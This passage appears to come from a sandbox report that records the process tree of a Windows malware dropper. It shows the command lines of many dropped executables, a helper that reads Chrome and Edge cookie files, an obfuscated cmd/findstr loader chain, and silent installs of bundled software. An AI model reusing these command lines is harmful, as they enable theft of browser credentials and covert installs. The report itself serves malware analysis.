        "C:\Users\Admin\Documents\nFBAW3tSjRWLs8N0Mt4__dRM.exe"
        6⤵
        
        PID:4576
        
        C:\Users\Admin\Documents\nFBAW3tSjRWLs8N0Mt4__dRM.exe
        
        C:\Users\Admin\Documents\nFBAW3tSjRWLs8N0Mt4__dRM.exe
        7⤵
        
        PID:2176
      - C:\Users\Admin\Documents\hxn57bXtgtUxcJHa58cujkXu.exe
        
        "C:\Users\Admin\Documents\hxn57bXtgtUxcJHa58cujkXu.exe"
        6⤵
        
        PID:3124
      - C:\Users\Admin\Documents\vuknjgI9yxbnXNQcxSUwHaiV.exe
        
        "C:\Users\Admin\Documents\vuknjgI9yxbnXNQcxSUwHaiV.exe"
        6⤵
        
        PID:5152
      - C:\Users\Admin\Documents\nwGeIPBAQdLcWt67CG9rbarT.exe
        
        "C:\Users\Admin\Documents\nwGeIPBAQdLcWt67CG9rbarT.exe"
        6⤵
        
        PID:5988
      - C:\Users\Admin\Documents\LcnqHiXOYcHB_CdivX5Or_rU.exe
        
        "C:\Users\Admin\Documents\LcnqHiXOYcHB_CdivX5Or_rU.exe"
        6⤵
        
        PID:4620
      - C:\Users\Admin\Documents\mepdAk3OZkF97VMiCyKFfcBj.exe
        
        "C:\Users\Admin\Documents\mepdAk3OZkF97VMiCyKFfcBj.exe"
        6⤵
        
        PID:6104
      - C:\Users\Admin\Documents\XJRT9CME3AEWgf0B3CtQSRs5.exe
        
        "C:\Users\Admin\Documents\XJRT9CME3AEWgf0B3CtQSRs5.exe"
        6⤵
        
        PID:6088
        
        C:\Program Files (x86)\Company\NewProduct\jooyu.exe
        
        "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
        7⤵
        
        PID:3312
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:3632
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6336
        
        C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        7⤵
        
        PID:2420
        
        C:\Program Files (x86)\Company\NewProduct\customer3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
        7⤵
        
        PID:1848
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:4168
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:5912
      - C:\Users\Admin\Documents\Lx_yrGHtmPYaqhORiUUaWKRV.exe
        
        "C:\Users\Admin\Documents\Lx_yrGHtmPYaqhORiUUaWKRV.exe"
        6⤵
        
        PID:6072
      - C:\Users\Admin\Documents\tLNZW1GcrpNnF3B83LiqTdtp.exe
        
        "C:\Users\Admin\Documents\tLNZW1GcrpNnF3B83LiqTdtp.exe"
        6⤵
        
        PID:6060
        
        C:\Users\Admin\Documents\tLNZW1GcrpNnF3B83LiqTdtp.exe
        
        C:\Users\Admin\Documents\tLNZW1GcrpNnF3B83LiqTdtp.exe
        7⤵
        
        PID:1880
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1880 -s 160
        8⤵
        Program crash
        
        PID:2836
      - C:\Users\Admin\Documents\9DMEsggkl8MTL2huvJ6Euy07.exe
        
        "C:\Users\Admin\Documents\9DMEsggkl8MTL2huvJ6Euy07.exe"
        6⤵
        
        PID:208
      - C:\Users\Admin\Documents\4Nrk5l3r9sSyn6xD9rvcMUrx.exe
        
        "C:\Users\Admin\Documents\4Nrk5l3r9sSyn6xD9rvcMUrx.exe"
        6⤵
        
        PID:1512
        
        C:\Users\Admin\Documents\4Nrk5l3r9sSyn6xD9rvcMUrx.exe
        
        C:\Users\Admin\Documents\4Nrk5l3r9sSyn6xD9rvcMUrx.exe
        7⤵
        
        PID:2764
      - C:\Users\Admin\Documents\OqvuInXq4AUg4mm4fRIR7jTs.exe
        
        "C:\Users\Admin\Documents\OqvuInXq4AUg4mm4fRIR7jTs.exe"
        6⤵
        
        PID:944
      - C:\Users\Admin\Documents\Liztm33t8Q5Qf3Wz7LmWdax3.exe
        
        "C:\Users\Admin\Documents\Liztm33t8Q5Qf3Wz7LmWdax3.exe"
        6⤵
        
        PID:1176
        
        C:\Users\Admin\AppData\Roaming\2113530.exe
        
        "C:\Users\Admin\AppData\Roaming\2113530.exe"
        7⤵
        
        PID:6180
        
        C:\Users\Admin\AppData\Roaming\7392447.exe
        
        "C:\Users\Admin\AppData\Roaming\7392447.exe"
        7⤵
        
        PID:7132
      - C:\Users\Admin\Documents\8gmbbDgpss1qbuuIAs5pF8Iq.exe
        
        "C:\Users\Admin\Documents\8gmbbDgpss1qbuuIAs5pF8Iq.exe"
        6⤵
        
        PID:1404
        
        C:\Users\Admin\Documents\8gmbbDgpss1qbuuIAs5pF8Iq.exe
        
        "C:\Users\Admin\Documents\8gmbbDgpss1qbuuIAs5pF8Iq.exe"
        7⤵
        
        PID:7528
      - C:\Users\Admin\Documents\OYyz1M6bnpnDeCLMR7qNJUcO.exe
        
        "C:\Users\Admin\Documents\OYyz1M6bnpnDeCLMR7qNJUcO.exe"
        6⤵
        
        PID:2316
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2316 -s 760
        7⤵
        Program crash
        
        PID:692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2316 -s 812
        7⤵
        Program crash
        
        PID:4680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2316 -s 744
        7⤵
        Program crash
        
        PID:5952
      - C:\Users\Admin\Documents\NBDyHGx3z1ZBLUAXnk2ebshQ.exe
        
        "C:\Users\Admin\Documents\NBDyHGx3z1ZBLUAXnk2ebshQ.exe"
        6⤵
        
        PID:4788
      - C:\Users\Admin\Documents\q9badR7Ps0ya2QFLYouM_39T.exe
        
        "C:\Users\Admin\Documents\q9badR7Ps0ya2QFLYouM_39T.exe"
        6⤵
        
        PID:3212
        
        C:\Users\Admin\AppData\Local\Temp\is-LS8IC.tmp\q9badR7Ps0ya2QFLYouM_39T.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LS8IC.tmp\q9badR7Ps0ya2QFLYouM_39T.tmp" /SL5="$20402,138429,56832,C:\Users\Admin\Documents\q9badR7Ps0ya2QFLYouM_39T.exe"
        7⤵
        
        PID:6088
        
        C:\Users\Admin\AppData\Local\Temp\is-9VO21.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-9VO21.tmp\Setup.exe" /Verysilent
        8⤵
        
        PID:5408
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
        9⤵
        
        PID:5828
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629273110 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
        10⤵
        
        PID:5956
      - C:\Users\Admin\Documents\XQHg1mmrwLDdBxlCGfjzmonS.exe
        
        "C:\Users\Admin\Documents\XQHg1mmrwLDdBxlCGfjzmonS.exe"
        6⤵
        
        PID:1260
        
        C:\Users\Admin\Documents\XQHg1mmrwLDdBxlCGfjzmonS.exe
        
        "C:\Users\Admin\Documents\XQHg1mmrwLDdBxlCGfjzmonS.exe" -q
        7⤵
        
        PID:7064
    - - C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
        5⤵
        
        PID:4948
      - C:\Users\Admin\AppData\Local\Temp\tmp1FD3_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp1FD3_tmp.exe"
        6⤵
        
        PID:5724
        
        C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\System32\dllhost.exe"
        7⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks
        7⤵
        
        PID:6568
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        8⤵
        
        PID:3348
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks
        9⤵
        
        PID:3764
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        Esplorarne.exe.com i
        9⤵
        
        PID:6704
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        10⤵
        
        PID:6588
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        11⤵
        
        PID:3764
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        12⤵
        
        PID:5616
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        13⤵
        
        PID:6656
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        14⤵
        
        PID:5392
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        15⤵
        
        PID:4356
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        16⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        17⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        18⤵
        
        PID:1000
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        19⤵
        
        PID:7080
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        20⤵
        
        PID:2340
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        21⤵
        
        PID:1976
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        22⤵
        
        PID:3888
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        23⤵
        
        PID:6184
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        24⤵
        
        PID:2336
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        25⤵
        
        PID:2236
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        26⤵
        
        PID:6336
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        27⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        28⤵
        
        PID:4804
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        29⤵
        
        PID:5892
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        30⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        31⤵
        
        PID:4464
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        32⤵
        
        PID:1888
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        33⤵
        
        PID:5176
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        34⤵
        
        PID:5592
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        35⤵
        
        PID:2340
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        36⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        37⤵
        
        PID:4496
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        38⤵
        
        PID:4500
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping RJMQBVDN -n 30
        9⤵
        Runs ping.exe
        
        PID:6308
    - - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        5⤵
        
        PID:4796
    - - C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
        5⤵
        
        PID:5060
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:2236
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:6284
    - - C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        5⤵
        
        PID:2900
    - - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        5⤵
        
        PID:4832
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629273110 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        6⤵
        
        PID:2856
- C:\Users\Admin\Documents\NCJmmmWjAcfMfsOzWxFyI0yK.exe
  "C:\Users\Admin\Documents\NCJmmmWjAcfMfsOzWxFyI0yK.exe"
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Users\Admin\Documents\7pKXn5hlnUUo5fTHalIgSaBT.exe
  "C:\Users\Admin\Documents\7pKXn5hlnUUo5fTHalIgSaBT.exe"
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  PID:3520
- C:\Users\Admin\Documents\gi0d4b9xVPDO0kr5jZTVkHkN.exe
  "C:\Users\Admin\Documents\gi0d4b9xVPDO0kr5jZTVkHkN.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Users\Admin\Documents\gi0d4b9xVPDO0kr5jZTVkHkN.exe
    "C:\Users\Admin\Documents\gi0d4b9xVPDO0kr5jZTVkHkN.exe" -q
    3⤵
    - Executes dropped EXE
    PID:4372

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:4804

C:\Users\Admin\AppData\Local\Temp\is-494MN.tmp\VPN.tmp
"C:\Users\Admin\AppData\Local\Temp\is-494MN.tmp\VPN.tmp" /SL5="$102C8,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
1⤵
PID:4304
- C:\Users\Admin\AppData\Local\Temp\is-BD0HN.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-BD0HN.tmp\Setup.exe" /silent /subid=720
  2⤵
  PID:3444
- - C:\Users\Admin\AppData\Local\Temp\is-5UMV8.tmp\Setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-5UMV8.tmp\Setup.tmp" /SL5="$70432,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-BD0HN.tmp\Setup.exe" /silent /subid=720
    3⤵
    PID:4276
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
      4⤵
      PID:1820
    - - C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        5⤵
        
        PID:6504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
      4⤵
      PID:5224
    - - C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        5⤵
        
        PID:7120
  - - C:\Program Files (x86)\MaskVPN\mask_svc.exe
      "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
      4⤵
      PID:1976
  - - C:\Program Files (x86)\MaskVPN\mask_svc.exe
      "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
      4⤵
      PID:3128

C:\Users\Admin\AppData\Local\Temp\is-5NTFK.tmp\MediaBurner2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5NTFK.tmp\MediaBurner2.tmp" /SL5="$202F0,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
1⤵
PID:4188
- C:\Users\Admin\AppData\Local\Temp\is-JRGSK.tmp\3377047_logo_media.exe
  "C:\Users\Admin\AppData\Local\Temp\is-JRGSK.tmp\3377047_logo_media.exe" /S /UID=burnerch2
  2⤵
  PID:5180
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
    dw20.exe -x -s 1368
    3⤵
    PID:4412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:4756

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4724

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1916

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6028
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B05FCA64B175FC371E4F33BB56AAADF8 C
  2⤵
  PID:6532
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 268B10595B5918CD407E7E4F2338A9B5
  2⤵
  PID:2512
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D6770C9BA58BCFDD9F18ADDBAB0AB76C C
  2⤵
  PID:5756
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding BE030CB55FC48C8A871573DECFC976D0 C
  2⤵
  PID:6704
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:7368
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:8120
  - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
      4⤵
      PID:7944
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x194,0x1e8,0x7fff9b21dec0,0x7fff9b21ded0,0x7fff9b21dee0
        5⤵
        
        PID:3324
      - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff779509e70,0x7ff779509e80,0x7ff779509e90
        6⤵
        
        PID:6340
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --mojo-platform-channel-handle=1812 /prefetch:8
        5⤵
        
        PID:4072
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1592 /prefetch:2
        5⤵
        
        PID:5128
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --mojo-platform-channel-handle=2136 /prefetch:8
        5⤵
        
        PID:8076
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2488 /prefetch:1
        5⤵
        
        PID:5000
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2520 /prefetch:1
        5⤵
        
        PID:2148
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
